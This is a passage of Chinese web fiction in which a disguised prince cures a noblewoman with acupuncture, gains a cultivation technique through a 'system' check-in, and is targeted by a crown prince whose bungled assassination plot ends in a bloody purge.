柳承业正坐立不安,如热锅上的蚂蚁。
他时不时地望向听雨轩的方向,心中充满了忐忑与好奇。
认识?
还是不认识?
这两人之间,到底是什么关系?
就在他心急如焚之时,吱呀一声,房门开了。
苏轻雪面色清冷地从里面走了出来。
柳承业连忙迎了上去,脸上堆满了关切的笑容。
“轻雪侄女,怎么样?谈得如何?”
他小心翼翼地试探道:“叶先生……他,他有没有说,你的病……”
苏轻雪的脸色,比进去时还要苍白几分,眼神也有些飘忽。
听到柳承业的问话,她仿佛才回过神来,长长的睫毛颤了颤。
“算是有吧。”
她淡淡地回了一句。
“算是有?”
柳承业愣住了,满脸困惑。
这是什么回答?
有就是有,没有就是没有,什么叫“算是有”?
这看病的事情,还能算出来的?
他正想追问,想搞清楚这葫芦里到底卖的什么药。
就在这时,一个家丁神色激动,连滚带爬地从后院冲了进来,声音里带着狂喜的颤音。
“老爷!老爷!大喜啊!”
柳承业心里一咯噔,连忙喝道:“慌慌张张,成何体统!”
那家丁却顾不上礼仪,激动得满脸通红,上气不接下气地喊道:
“小姐!小姐醒了!”
“小姐她……醒过来了!”
“轰!”
柳承业只觉得脑子里嗡的一声,所有的疑惑、担忧、好奇,在这一瞬间全被抛到了九霄云外!
他的身体因为巨大的狂喜而微微颤抖,眼眶瞬间就红了!
“月雪……我的月雪醒了?!”
他一把抓住家丁的衣领,声音都变了调。
“当真?!你亲眼看到的?!”
“千真万确啊老爷!小姐醒了,还……还喊了声爹!”
“好!好!好!”
柳承业连说三个“好”字,激动得热泪盈眶。
他猛地松开家丁,一把拉住身旁还有些失神的苏轻雪。
“轻雪!快!快跟我去看看月雪!”
“叶神医……当真是活神仙啊!”
此刻,柳承业对叶玄的敬畏,已经达到了顶峰。
他拉着苏轻雪,几乎是小跑着冲向后院的闺房,将所有关于“算是有”的疑问,都暂时抛在了脑后。
第21章 默契本身就有问题!
柳承业几乎是连滚带爬地冲向后院,苏轻雪紧随其后。
推开闺房的门,眼前的景象让柳承业瞬间红了眼眶。
柳月雪正靠在床头,手中端着一碗温水,小口小口地啜饮着。
那张原本苍白如纸的俏脸,此刻竟有了一丝淡淡的红润。
“月雪!我的好女儿!”
柳承业激动得声音都在颤抖,三步并作两步冲到床前,颤抖着双手想要触碰女儿的脸颊,却又不敢用力。
“爹…”
柳月雪轻唤一声,声音虽然还有些虚弱,但比起之前那奄奄一息的模样,简直判若两人。
“还有哪里不舒服吗?头晕吗?胸闷吗?”
柳承业急切地询问着,恨不得将女儿从头到脚检查一遍。
柳月雪轻轻摇头,眼中闪过一丝惊喜。
“爹,我感觉…感觉从未有过的舒畅。”
她缓缓放下手中的水碗,仔细感受着体内的变化。
“以往每次发病,即便暂时缓解,身体也会留下那种刺骨的寒意,仿佛有冰锥在血管里游走。”
“可这一次不同,我感觉体内那股寒气竟然消散了大半,就连呼吸都变得顺畅了许多。”
柳承业听得眼泪直流,连连点头。
“好!好!只要你没事就好!”
就在这时,柳月雪的目光落在了门边的苏轻雪身上。
那双本就灵动的眸子瞬间瞪圆,满脸的不敢置信。
“轻雪表姐?你…你怎么会在这里?”
苏轻雪见状,脸上的清冷瞬间消散,取而代之的是久违的温暖笑容。
她快步走到床前,轻抚着柳月雪的手背。
“月雪,你可算醒了,真是吓死表姐了。”
“我路过云安城,想着许久未见,便来看看你。”
“没想到一进门就听说你病重昏迷,当时我的心都提到嗓子眼了。”
柳月雪眼中涌出泪花,紧紧握住苏轻雪的手。
“表姐,我还以为…还以为这辈子再也见不到你了。”
“胡说什么呢!”
苏轻雪佯装嗔怒,轻拍了一下柳月雪的手背。
“你这丫头,还是和小时候一样爱胡思乱想。”
“不过看你现在的气色,比以往任何时候都要好,想必这次的病是彻底好了。”
柳月雪点点头,随即想起什么,转头看向父亲。
“爹,我这次的情况…说实话,连我自己都觉得撑不过去了。”
“那种痛苦,就像是有无数根冰针在骨髓里穿行,每一次呼吸都是煎熬。”
“可现在我不仅醒了,还感觉前所未有的轻松,这到底是怎么回事?”
柳承业闻言,脸上浮现出激动的神色。
“月雪,你这是吉人自有天相啊!”
“今日有一位神医路过咱们府邸,说是听闻你的病情,特意前来相助。”
“那位神医医术通天,不仅一眼看出你的病根所在,更是妙手回春,将你从鬼门关拉了回来!”
柳月雪眼中闪过震惊之色。
“神医?什么样的神医有如此本事?”
“我这寒髓症连京城的御医都束手无策,他竟能…”
“月雪,你是不知道啊!”
柳承业越说越激动,手舞足蹈地描述着。
“那位叶神医年纪轻轻,却有着鬼神莫测的医术!”
“他只是搭了搭你的脉,就将你的病情说得分毫不差!”
“更神奇的是,他随手给你扎了几针,你立刻就有了起色!”
柳月雪听得目瞪口呆,随即挣扎着要起身。
“既然如此,我必须亲自去拜谢这位恩人!”
“不行!你刚醒,身子还虚着呢!”
柳承业连忙按住女儿的肩膀。
“再说,你表姐刚刚已经代表你去拜谢过了。”
“那位神医也说了,你需要好好休养,等身体彻底恢复了再说。”
苏轻雪在一旁点头附和。
“月雪,你父亲说得对。”
“你现在最重要的是静养,其他的事情都不急。”
“那位…叶先生确实医术高超,他也叮嘱过,你需要充分的休息。”
柳月雪见父亲和表姐都这么说,只好作罢。
“那好吧,等我身体好些了,一定要亲自登门道谢。”
“这样的大恩大德,绝不能草草了事。”
苏轻雪温和地笑着,轻抚着柳月雪的头发。
“好了,你现在最重要的是好好休息。”
“表姐还要处理一些事情,就不多打扰了。”
“等你完全康复了,咱们姐妹俩再好好叙叙旧。”
柳月雪依依不舍地点头。
“那表姐你要多在云安城待几日,可不许偷偷走了。”
“放心,不会的。”
苏轻雪温柔地为柳月雪掖好被角,和柳承业一同退出了房间。
关上房门后,柳承业长长地舒了一口气。
“轻雪侄女,这次真是多亏了你啊。”
“若不是你提醒我去拜谢叶神医,我这个做父亲的,还不知道要犯多大的错误呢。”
苏轻雪淡淡一笑。
“柳叔叔言重了,月雪是我表妹,这都是应该的。”
“既然月雪已经无碍,那么我也放心了。”
“没错,没错!”
“轻雪,今日天色已晚,暂且留下过夜,我马上令人准备晚膳和客房,千万不能跟我客气!”
“那就麻烦柳伯伯了!”
两人寒暄了一下,柳承业就先行离开了,苏轻雪走出大厅。
她仰头望着天空,心中思绪万千。
叶玄…八皇子…
这个男人到底隐藏着多少秘密?
他的医术为何如此高超?
他说能治好自己的病,这话是真是假?
一夜无话。
翌日清晨,朝阳初升,听雨轩内传来阵阵鸟鸣。
叶玄缓缓睁开双眼,结束了一夜的调息。
他起身洗漱,准备前往柳月雪的房间查看她的恢复情况。
推门而出,正要朝后院走去。
迎面却见一道熟悉的身影,正朝着同一个方向走去。
苏轻雪。
她今日换了一身淡青色的长裙,衬得肌肤如雪,气质更显清雅。
两人在院中相遇,目光交汇的瞬间,都是一愣。
随即,两人都很默契地移开视线,仿佛并不相识。
叶玄面色平静,步履从容,仿佛只是一个普通的大夫前去复诊。
苏轻雪神情淡漠,姿态优雅,像是一个关心表妹的贵女。
两人就这样,一前一后,朝着柳月雪的房间走去。
空气中弥漫着一种微妙的气氛。
明明彼此心知肚明,却又要装作素不相识。
这种默契,本身就说明了问题。
第22章 我相信你不是故意的。
叶玄迈步走进大厅,脚步声在空旷的厅堂中轻响。
他径直朝内院走去,心中盘算着柳月雪的病情恢复如何。
昨日一番针法下来,那丫头的寒髓症应该已经缓解了大半。
今日复诊,若是情况良好,再施针两三次便能彻底根治。
想到这里,叶玄心情不由得轻松了几分。
他推开柳月雪闺房的房门,准备询问病情。
下一秒,眼前的景象让他整个人都僵在了原地。
只见柳月雪正背对着门口,纤细的手指正在解着外衣的系带。
她的青丝如瀑般散落在肩头,露出了雪白如玉的后背。
“这……”
叶玄瞬间呆愣在原地,大脑一片空白。
柳月雪似乎听到了动静,缓缓转过头来。
四目相对的瞬间,两人都愣住了。
空气仿佛在这一刻凝固。
柳月雪的俏脸瞬间红得像熟透的苹果,双手慌乱地护住胸前。
“啊!”
一声尖叫划破了房间的寂静。
叶玄这才如梦初醒,连忙转身就走。
“对不起对不起!我什么都没看见!”
他手忙脚乱地拉上房门,心跳如鼓。
刚一转身,就看见苏轻雪正站在身后不远处,那双清冷的眸子正盯着他。
苏轻雪先是一愣,显然不明白叶玄为何进去又立刻出来。
下一秒,房间里传来柳月雪羞愤的叫声。
苏轻雪瞬间明白了什么,美眸中闪过一丝恼怒。
她狠狠瞪了叶玄一眼,那眼神仿佛要将他生吞活剥。
“登徒子!”
她低声骂了一句,然后推开叶玄就直接进了房间。
叶玄尴尬地站在门口,只能听着里面传来的窃窃私语声。
“月雪,你没事吧?”苏轻雪关切的声音传来。
“表姐…我…我刚才…”柳月雪的声音带着哭腔。
“没事没事,那个登徒子什么都没看见。”
“可是…可是我觉得好丢人…”
“傻丫头,这有什么好丢人的,是他莽撞了。”
叶玄在门外听得清清楚楚,只觉得脸上火辣辣的。
他确实是太心急了,连门都没敲就直接进去。
这下好了,把一个清白女子给吓着了。
“那个家伙平时看着挺稳重的,没想到这么不懂规矩。”苏轻雪的声音中带着明显的不满。
“表姐,你别这么说他…毕竟他是我的救命恩人…”柳月雪小声为叶玄辩护道。
“救命恩人就可以随便闯女子闺房了?”
“不是的…我想他应该不是故意的…”
叶玄听到这里,心中五味杂陈。
这丫头竟然还在为自己说话,心地倒是善良得很。
房间里的声音渐渐小了下去,显然两姐妹在商量着什么。
叶玄只好老老实实地站在门外等着,心中暗自检讨自己的莽撞行为。
过了好一会儿,苏轻雪的声音才重新响起。
“叶先生,现在可以进来了。”
叶玄深吸一口气,推门而入。
柳月雪已经重新穿好了衣服,正低着头坐在床边,那张俏脸还是红扑扑的。
苏轻雪则站在一旁,双臂环胸,冷冷地看着叶玄。
气氛瞬间变得尴尬无比。
叶玄咳嗽了一声,走到柳月雪面前,真诚地弯腰行礼。
“柳小姐,刚才是在下唐突了,还请见谅。”
他的声音中带着明显的歉意,态度十分诚恳。
柳月雪红着脸摆了摆手,声音小得像蚊子叫。
“没…没关系的,是我自己没有关好门,我们…我们两不相欠。”
这话说得叶玄更加愧疚了。
明明是自己的错,这丫头竟然还要承担责任。
空气中弥漫着一种微妙的尴尬,三人都不知道该说什么好。
苏轻雪见状,轻咳一声,开口打破了沉默。
“叶先生,你不是来为月雪复诊的吗?”
这话一出,叶玄和柳月雪都松了一口气。
“对对对,复诊要紧。”叶玄连忙点头,感激地看了苏轻雪一眼。
这女人虽然平时冷若冰霜,关键时刻倒是知道解围。
“柳小姐,请允许在下为你诊脉。”
叶玄恢复了医者的沉稳,走到床边坐下。
柳月雪乖巧地伸出手腕,只是那张小脸依然红得像胭脂一样。
叶玄三指搭在她的脉门上,仔细感受着脉象的变化。
柳月雪的脉搏在他指下跳动着,比昨日要强劲了许多。
寒气确实散去了大半,只是还有一些顽固的寒毒残留在经脉深处。
“脉象比昨日好了很多,看来昨晚你休息得不错。”
叶玄点点头,眼中闪过一丝满意之色。
柳月雪听到这话,紧张的心情放松了几分。
“那…那我的病是不是快好了?”
她期待地看着叶玄,眼中满含希冀。
“还需要再施针几次,不过你放心,最多三日就能彻底痊愈。”
叶玄起身走向一旁的药箱,取出银针。
“今日依然是九宫还阳针法,可能会有些疼,你忍耐一下。”
柳月雪乖巧地点点头,乖乖躺在床上。
叶玄深吸一口气,让自己的心境彻底平静下来。
银针在他手中翻飞,每一根都准确地刺入穴位。
柳月雪忍不住轻哼了一声,眉头微微皱起。
“很疼吗?”叶玄关切地问道。
“还好…比昨天好多了。”柳月雪摇摇头。
两人就这样对视着,空气中似乎有什么微妙的东西在流淌。
柳月雪的脸又红了起来,心跳也不由得加快了几分。
这个男人的眼神很温和,让人莫名地安心。
叶玄专注地施针,心境平和如水。
经过昨日的治疗,他对柳月雪的病情已经了然于胸。
这丫头的寒髓症确实棘手,但在他的医术面前,也不过是小菜一碟。
苏轻雪站在一旁静静观察着这一切。
她发现叶玄施针时的专注神态,与平日里的温和截然不同。
此刻的他仿佛换了一个人,浑身散发着一种令人信服的威严。
这种反差让苏轻雪心中生出了几分好奇。
这个男人到底还有多少面目?
时间一分一秒地过去,叶玄的针法越来越娴熟。
柳月雪能够清晰地感受到体内寒气的消散,那种刺骨的疼痛正在逐渐减轻。
半个时辰后,叶玄收回了最后一根银针。
“好了。”
他长长地舒了一口气,额头上已经渗出了细密的汗珠。
柳月雪缓缓坐起身来,仔细感受着体内的变化。
“真的…真的不疼了!”
她惊喜地看着叶玄,眼中满含感激之情。
“叶先生,您真是神仙一般的人物!”
叶玄淡淡一笑,收拾着银针。
“过誉了,不过是医者本分罢了。”
“今日施针后,你可能会感到有些困倦,这是正常现象。”
“好好休息一夜,明日应该就能下床走动了。”
说完这话,叶玄急忙收拾东西准备离开。
刚才那个尴尬的意外让他实在不想在这个房间多待。
“叶先生慢走!”柳月雪在身后喊道。
叶玄摆摆手,头也不回地走出了房间。
来到大厅中,他才重重地松了一口气。
今日这事闹得,实在是太丢人了。
不过看柳月雪的恢复情况,倒是比预期的要好。
再治疗两次,这丫头就能彻底摆脱寒髓症的困扰了。
想到这里,叶玄的心情又好了几分。
救人一命胜造七级浮屠,这话倒是不假。
他在大厅中静静地坐着,开始平复刚才治疗时消耗的真气。
刚才为了加快治疗进度,他动用了不少内力,这让他原本就为数不多的内力,雪上加霜。
现在需要好好调息一番,恢复状态。
第23章 藏书阁楼
叶玄走出柳月雪的闺房,长长地吐出一口浊气。
方才那意外的一幕,饶是以他两世为人的心境,也不免有些心神动荡。
更关键的是,为了加速驱散柳月雪体内的寒毒,他暗中催动了本就所剩无几的内力。
此刻丹田空空如也,一阵虚弱感涌上心头。
他扶着门框,正准备回到大厅调息片刻,一道急促的脚步声由远及近。
“叶神医!叶神医!”
人未到,声先至。
柳承业几乎是小跑着冲了过来,脸上写满了焦急与期盼,与他平日里沉稳的家主形象判若两人。
“神医,小女……小女的情况如何了?”
他跑到叶玄面前,紧张地搓着手,连珠炮似的问道。
叶玄见状,心中了然。
他压下体内的虚弱感,恢复了那副风轻云淡的医者姿态,微微一笑。
“柳家主不必担心。”
“令嫒体内的寒髓症,已去七八。今日施针过后,固本培元,已无大碍。”
“后续只需再调理两次,便可彻底根除,与常人无异。”
叶玄的声音平稳而有力,仿佛带着一种能安抚人心的力量。
柳承业听到这话,先是愣了半晌,随即巨大的狂喜瞬间席卷了他整个面庞!
“根……根除?!”
他声音颤抖,眼眶瞬间就红了。
为了女儿这个病,他寻遍名医,耗尽家财,得到的却是一次又一次的失望。
如今,这个看似年轻的“叶神医”,却给了他一个想都不敢想的承诺!
“噗通”一声!
柳承业竟是毫不犹豫,双膝一软,对着叶玄就要跪下!
“神医大恩,柳某没齿难忘!”
叶玄眼疾手快,一步上前,稳稳地托住了他的手臂,让他无法跪下。
“柳家主,使不得。”
“医者本分,何须行此大礼。”
柳承业被他扶着,激动得老泪纵横,语无伦次地说道:“不不不,这不一样!您是给了月雪第二次生命,就是给了我柳家天大的恩情!”
他挣扎着想要再次下跪,却发现叶玄的手臂看似瘦弱,却蕴含着一股巧劲,让他动弹不得。
柳承业心中更是震惊,愈发觉得眼前之人深不可测。
他只好作罢,从怀中摸出一沓厚厚的银票,还有一个古朴的木盒。
“叶神医,区区薄礼,不成敬意!”
“这是云安城中最好的三处宅院地契,还有十万两银票,还请您务必收下!”
“只要您开口,我柳家就算是倾家荡产,也定会满足您的任何要求!”
柳承业的语气斩钉截铁,充满了真诚。
叶玄的目光扫过那些足以让任何人疯狂的财富,眼神却古井无波。
钱财?宅院?
这些东西,于他而言,虽然要紧,但也不是最需要的东西。
他要的,是能让他在这虎狼环伺的世界里,真正立足的根本。
他淡淡一笑,推回了柳承业的手。
“柳家主,心意我领了,但这些东西,我不能收。”
柳承业顿时急了:“神医,您是嫌少吗?我……”
叶玄摆了摆手,打断了他的话,目光望向庭院深处,状似随意地问道。
“我救令嫒,一为医者仁心,二也算是有缘。”
“若柳家主真想报答,叶某倒确实有个不情之请。”
柳承业精神一振,连忙道:“神医请讲!但凡柳某能办到,绝不推辞!”
叶玄嘴角勾起一抹微不可查的弧度,他的计划,正在稳步推进。
“我素来喜爱看些杂书,听闻柳家藏书颇丰,不知可否借我观阅几日?”
此言一出,柳承业直接愣住了。
他设想了无数种可能,唯独没想到,叶玄提出的“要求”,竟是如此简单,如此……风雅。
不要钱,不要权,只要看书?
这位叶神医,当真是世外高人!
反应过来后,柳承业心中对叶玄的敬意又攀上了一个新的高峰。
他哈哈一笑,脸上的激动之情溢于言表。
“当然可以!当然可以!这算什么要求!”
“不瞒神医,我家那藏书阁,虽不敢说冠绝云安,却也是我柳家三代人的心血。”
柳承业一边说着,一边热情地在前面引路。
“小女月雪,自幼体弱,不能像别的孩子一样出门玩耍,最大的乐趣,便是在那藏书阁中读书。”
“这些年,为了治她的病,我更是搜罗了天下各地的医书古籍,藏书阁里,医书占了近一半。可惜啊……我等凡夫俗子,看不出其中玄妙,倒是让神医您见笑了。”
他的话语中,既有对女儿的疼爱,也有一丝无奈。
叶玄跟在身后,静静地听着。
他知道,这正是他想要的机会。
一个家族的藏书阁,尤其是这种传承几代的,往往会成为系统判定的特殊签到地点。
两人穿过几条回廊,来到一处极为僻静的庭院。
庭院中栽满了青竹,微风拂过,竹叶沙沙作响,环境清幽雅致。
一座古色古香的两层阁楼静静矗立在庭院中央,牌匾上龙飞凤舞地写着三个大字——藏书阁。
一股浓郁的书卷之气,混合着淡淡的墨香,扑面而来。
柳承业从腰间取下一串钥匙,打开了阁楼厚重的木门。
“叶神医,请。”
“这里便是我柳家藏书阁,您请随意观阅,没有任何禁忌。”
叶玄点了点头,目光扫过门内那一排排望不到头的书架,心中微动。
他转头对柳承业说道:“柳家主,我想一个人在里面静静地待一会儿。”
柳承业是何等人物,立刻心领神会。
高人嘛,总有些独特的癖好。
“明白,明白!那柳某就不打扰神医雅兴了。”
他十分识趣地退后几步,又补充道。
“神医,午时我已备下家宴,虽是粗茶淡饭,却是我柳家的一片心意,还望神医务必赏光,让我和内人有机会当面敬您一杯。”
“好,届时我一定到。”叶玄点头应下。
柳承业这才放心地拱了拱手,转身离开了。
听着他的脚步声渐渐远去,叶玄才转过身,看向这座充满了知识沉淀的阁楼。
第24章 人皇镇狱经
他深吸一口气,迈步而入。
“吱呀——”
厚重的木门在身后缓缓关闭,隔绝了外界的一切声音。
阁楼内的景象,让他眼前一亮。
阳光透过雕花的窗格,在空气中投射出斑驳的光影,无数细小的尘埃在光柱中飞舞,仿佛时间的精灵。
一排排高达数丈的紫檀木书架整齐排列,上面密密麻麻地摆满了各种书籍,从经史子集到奇闻异志,从武道秘闻到医道典籍,琳琅满目,浩如烟海。
空气中弥漫着古籍特有的陈旧气息和淡淡的檀木香,让人心神宁静。
在靠窗的位置,还摆放着一张小巧的书案,上面笔墨纸砚俱全,砚台中的墨迹似乎还未干透,旁边一卷翻开的医书上,还有几行娟秀的小字批注。
叶玄走过去,能想象出柳月雪常年坐在这里,忍受着病痛,却依旧潜心钻研医术,渴望自救的模样。
一个坚强而又令人怜惜的女子。
叶玄心中微微一叹,随即收敛心神。
他站在这藏书阁的中央,闭上双眼,心神沉入脑海。
“系统,在此地签到!”
下一秒,那道冰冷而熟悉的机械音在他脑海中轰然炸响!
【叮!检测到宿主抵达特殊签到地点——柳家藏书阁!】
【此地蕴含百年书香之气,更因柳月雪常年在此研读医书,以期自救,沾染了一丝不屈的纯净意志,符合签到条件!】
【签到成功!】
【恭喜宿主,获得神级奖励——无上功法《人皇镇狱经》!】
轰!
一股庞大浩瀚的信息洪流,如同决堤的天河,瞬间涌入叶玄的脑海!
《人皇镇狱经》!
这五个字,仿佛带着无上的威严与霸道,让他的神魂都为之震颤!
与此同时,关于功法和这个世界修炼体系的解释,也清晰地浮现在他的意识中。
【《人皇镇狱经》:无上神级功法,与宿主【人皇霸体】完美契合,相辅相成。修炼此经,可凝聚人皇之气,镇压世间一切敌!功法共分九重,完美对应武道九大境界。】
【武道一途,由低至高,可分下、中、上三品。】
【武道下三品:九品?练精境,八品?炼气境,七品?炼神境。此三境,乃筑基之始,淬炼肉身,感应灵气,壮大精神。】
【武道中三品:六品?凝体境,五品?化劲境,四品?练意境。此三境,可锻筋骨如钢,化内劲随心,悟武道真意。】
【武道上三品:三品?不死之躯,二品?合道之境,一品?无漏之身。此三境,已入非凡,滴血重生,言出法随,与道同尘,是为陆地神仙!】
叶玄心神剧震!
这才是真正的通天大道!
他之前所杀的那些太子派来的刺客,最强者也不过是普通的武者而已,也不知道太子是怎么想的,派普通人过来。
而他自己,因为穿越而来,又被打入天牢,身受重伤,实力甚至连九品练精境的门槛都未曾稳固踏入。
空有【人皇霸体】和【天子望气术】这两样神技,却没有足够的实力去施展,如同稚童手持神兵,处处掣肘。
而现在,这本《人皇镇狱经》的出现,完美地解决了他眼下最大的困境!
【修炼《人皇镇狱经》前三重,搭配人皇霸体,可助宿主在三日之内,贯通下三品,直达七品炼神境巅峰,铸就万古无一的无上道基!】
三日,直达七品巅峰!
叶玄的呼吸都变得急促起来。
这是何等逆天的功法!
有了它,他才算真正拥有了在这乱世之中安身立命,搅动风云的资本!
他不再犹豫,立刻盘膝而坐,按照脑海中《人皇镇狱经》的法门,开始运转心法。
嗡!
功法运转的瞬间,他那沉寂已久的【人皇霸体】仿佛被彻底激活!
一股无形的吸力从他体内爆发而出!
刹那间,整座藏书阁,乃至整个柳家府邸上空的游离灵气,都仿佛受到了某种至高无上的召唤,化作一道道肉眼可见的白色气流,疯狂地朝着叶玄的身体里倒灌而入!
他原本空空如也的丹田,瞬间被精纯的灵气充满!
九品?练精境,破!
灵气继续奔涌,冲刷着他的经脉,发出江河奔流般的声响。
八品?炼气境,破!
他的精神力在灵气的滋养下,以前所未有的速度暴涨,感知变得无比敏锐,方圆百米内的风吹草动,都清晰地映入脑海。
七品?炼神境,破!
仅仅是片刻之间,叶玄便走完了寻常武者需要数年甚至数十年才能走完的道路!
而且,他的根基无比扎实,远非寻常武者可比!
大量的灵气还在源源不断地涌入,淬炼着他的肉身,滋养着他的神魂,将他的境界,一步步推向七品炼神境的巅峰!
叶玄缓缓睁开双眼。
一抹璀璨的金光,在他的眼底深处一闪而逝。
他能感觉到,体内充满了前所未有的爆炸性力量。
之前施针耗尽内力的虚弱感,早已一扫而空,取而代之的,是掌控一切的强大与自信!
他站起身,随意地握了握拳。
空气中,发出一声沉闷的爆鸣。
这,才是属于他的力量!
叶玄感受着自己突破之后,所带来的实力变化,脸上的表情逐渐兴奋起来,随即看了眼时间,发现距离正午已经差不了多久了。
便走出了藏书阁朝着大厅的位置走去。
京城,东宫。
“殿下~来尝尝这个~”
“嗯~好吃”
“哎呀,殿下~你不要乱动了啦~”
“很痒啊~”
叶天正躺在美妾的怀中,有一口没一口的吃着她弄好的水果,手还在对方身子上,不断上下游走着。
“扣扣扣——”
“殿下,属下有情况汇报!”
叶天衣服都脱一半了,突然房门被人敲响,表示十分不悦。
“滚——”
“不知道我在办事的时候,不能打扰吗?”
“可是殿下……属下确实是有要紧事!”
叶天听着房门外边,亲信的声音,不由的恼火起来,随后鞋子都顾不上穿,直接打开房门,恶狠狠的看着他。
“你今天要是说不出一个一二三来,就别怪本宫直接把你拖出去砍了!”
第25章 东宫血
那亲信浑身一颤,只觉得一股冰冷的杀意将自己牢牢锁定,仿佛下一秒,自己的脑袋就要和身体分家。
他双腿一软,“噗通”一声跪倒在地,声音带着哭腔,颤抖着说道:“殿下……派去……派去北凉路截杀八皇子的……人,失……失败了!”
“什么?!”
叶天脸上的暴怒瞬间凝固,取而代之的是一种极致的错愕与不可思议。
他一把揪住那亲信的衣领,将他从地上硬生生提了起来,双目赤红,状若疯虎。
“失败了?怎么可能失败!”
“本宫亲自拨了三千两白银,让你们去黑市请五品化劲境的高手!一个废人而已,怎么可能失手!”
叶天的声音嘶哑而尖利,充满了无法接受的质问。
三千两白银!
足以请动一位成名已久的五品高手,去刺杀一个手无缚鸡之力的废物皇子!
这本该是一场没有任何悬念的屠杀!
难道是叶玄那个废物身边,有隐藏的高手护卫?
这个念头刚一升起,就被叶天自己掐灭了。
不可能!
绝对不可能!
父皇早就对他失望透顶,朝中百官更是视他如瘟疫。一个被打入天牢,声名狼藉的废物,谁会愿意追随他?谁又敢追随他?
“给本宫去查!”
叶天猛地将亲信掼在地上,胸口剧烈起伏,眼中闪烁着疯狂的光芒。
“马上去查!本宫要知道,到底是哪个环节出了岔子!是杀手组织收钱不办事,还是另有隐情!查不清楚,你也不用回来了!”
“是!是!属下遵命!”
那亲信如蒙大赦,连滚带爬地跑出了房间,仿佛身后有恶鬼在追赶。
叶天重重地喘息着,一脚踹翻了身旁的紫檀木桌。
桌上的美酒佳肴、金杯玉盏稀里哗啦碎了一地。
他回到房间,原本旖旎的气氛早已荡然无存。
那美妾战战兢兢地凑上前来,吐气如兰:“殿下,您消消气……”
“滚出去!”
叶天眼神冰冷,吐出的两个字不带一丝一毫的感情。
美妾吓得花容失色,再也不敢多言,裹着薄纱,仓皇地退了出去。
偌大的房间里,只剩下叶天一人。
他缓缓地重新穿戴好那身象征着储君地位的华贵蟒袍,脸上的表情阴沉得仿佛能滴出水来。
失败……
这个词,让他感到了莫大的羞辱!
时间一分一秒地过去。
就在叶天快要失去耐心的时候,那个亲信终于回来了。
他脸色惨白如纸,浑身抖得像秋风中的落叶,进门后二话不说,直接五体投地,连头都不敢抬。
“查……查清楚了……”
叶天的眼神陡然变得锐利:“说!”
亲信的声音抖得不成样子,几乎是从牙缝里挤出来的:“殿……殿下,咱们……咱们拨下去的三千两银子……到了……到了最后执行任务的那几个刺客手里……只……只剩下二十两了……”
“你说什么?”
叶天怀疑自己听错了,他缓缓地、一字一顿地问道。
亲信闭上眼睛,豁出去一般,语速极快地喊道:“殿下,您拨付的三千两,先到了东宫大总管王公公手上,王公公说要打点黑市关系,扣下了一千两!剩下两千两交给了负责此事的禁卫副统领李将军,李将军说需要上下疏通,又扣下了一千五百两!最后五百两到了黑市一个叫‘鬼手’的中间人手里,他层层下包,最后找到的,是几个在城外流窜的亡命徒,许诺事成之后,每人给四两银子,总共二十两!”
“所以……所以去刺杀八皇子的,根本不是什么五品高手,就是几个连武道门槛都没摸到的普通蟊贼!”
轰!
亲信的话,如同一道惊雷,在叶天的脑海中轰然炸响!
他整个人都僵住了。
脸上的肌肉因为极致的愤怒而剧烈抽搐,从错愕,到羞愤,再到一种被背叛、被愚弄的滔天怒火!
三千两!
变成了二十两!
他堂堂大乾太子,储君之尊,竟然被自己手底下的一群狗奴才,像个傻子一样玩弄于股掌之间!
他们不仅贪墨了他的钱,更毁掉了他的计划!
这已经不是贪婪,这是在掘他叶天的根基,是在打他这个太子的脸!
“呵……”
“呵呵……”
“哈哈哈哈哈哈!”
叶天突然仰天大笑起来,笑声中充满了无尽的冰冷与疯狂。
他缓缓拔出墙上悬挂的装饰长剑,剑身在烛光下反射出森然的寒光。
“好!好得很啊!”
他提着剑,一步步走向那名跪在地上的亲信。
亲信感受到了死亡的降临,疯狂地磕头求饶:“殿下饶命!殿下饶命啊!奴才也是刚刚才查清,绝无半点隐瞒啊!”
“本宫知道你没有隐瞒。”
叶天的声音异常平静,平静得令人心悸。
“所以,本宫要谢谢你。”
话音未落,剑光一闪!
“噗嗤——”
一颗大好头颅冲天而起,滚烫的鲜血喷溅在华丽的地毯上,染红了叶天那双金丝云纹的靴子。
那名亲信的无头尸身晃了晃,重重地倒在血泊之中。
他的眼睛,还保持着临死前那极致的恐惧与不解。
叶天看都未看尸体一眼,他提着滴血的长剑,面无表情地走出了房间。
“来人!”
他的声音传遍了整个东宫。
“将大总管王德,禁卫副统领李源,以及所有与此事相关之人,全部给本宫拿下!”
“本宫要……亲自审问!”
此时此刻,东宫之内,一场血腥的清洗,正式拉开序幕。
叶天要用最残忍的方式,告诉所有人。
背叛他,愚弄他的下场,只有死!
……
云安城,柳家
柳承业正指挥着下人将餐桌上的食物摆好来。
“来来来,这个东西放这里,记住千万不能把太过辛辣的东西放在叶先生面前”
“他是医者,应该喜欢比较清淡点的食物。”
“这汤,放在这里,方便叶先生……”
柳承业亲自指挥下人的样子,让其一旁坐着的夫人看的那叫一个无语。
“老爷,这些事情不用这么麻烦的,他们都懂的,你不用亲自上手的,这样有失颜面!”
柳承业听到这话,立马就不乐意了。
“你要不要听听你在说什么话?叶先生可是我们家贵人,要是因为这点事情冒犯了对方,那我们不是得不偿失吗?”
柳夫人当然知道这个道理,但柳承业身为一家之主,做这种下人做的事情,实在是有失颜面。
就在柳夫人还想要在说些什么的时候,叶玄的身影出现在了大厅之外。
第26章 师傅?我哪里有师傅?
叶玄的身影甫一出现在大厅门外,原本还在为餐席布置而忙得团团转的柳承业,立刻丢下了手头的一切。
他脸上堆满了热切的笑容,快步迎了上去,姿态放得极低。
“叶先生,您来了!”
“一点粗茶淡饭,不成敬意,还望先生莫要嫌弃。”
柳承业的姿态,近乎谄媚。
一旁的柳夫人看得直蹙眉头,却也不敢多言,只是跟着起身,对着叶玄露出了一个温婉得体的笑容。
“叶先生快请入座。”
叶玄神色淡然,仿佛对眼前这满桌的山珍海味,以及柳承业的热情都视若无睹。
他的目光平静如深潭,只是微微颔首。
“柳家主客气了,已经很丰盛。”
这番平静,落在柳承业眼中,却让他心中愈发敬畏。
这等气度,绝非凡俗之辈所能拥有。
三人落座,酒过三巡,菜过五味。
宴席上的气氛看似热烈,实则暗流涌动。
柳承业频频举杯,言语之间,开始不着痕迹地试探。
“不知叶先生仙乡何处?如此年轻便有这等通天医术,想必师承定然不凡吧?”
他的眼神里带着一丝精明的探究,像一个老道的猎人,试图寻觅猎物的踪迹。
叶玄夹了一筷子清炒笋尖,动作不疾不徐,甚至没有抬头看柳承业一眼。
“四海为家,何处不是仙乡?”
“至于家师,闲云野鹤罢了,早已不问世事,名讳不提也罢。”
一句话,便将柳承业所有的问题都堵了回去。
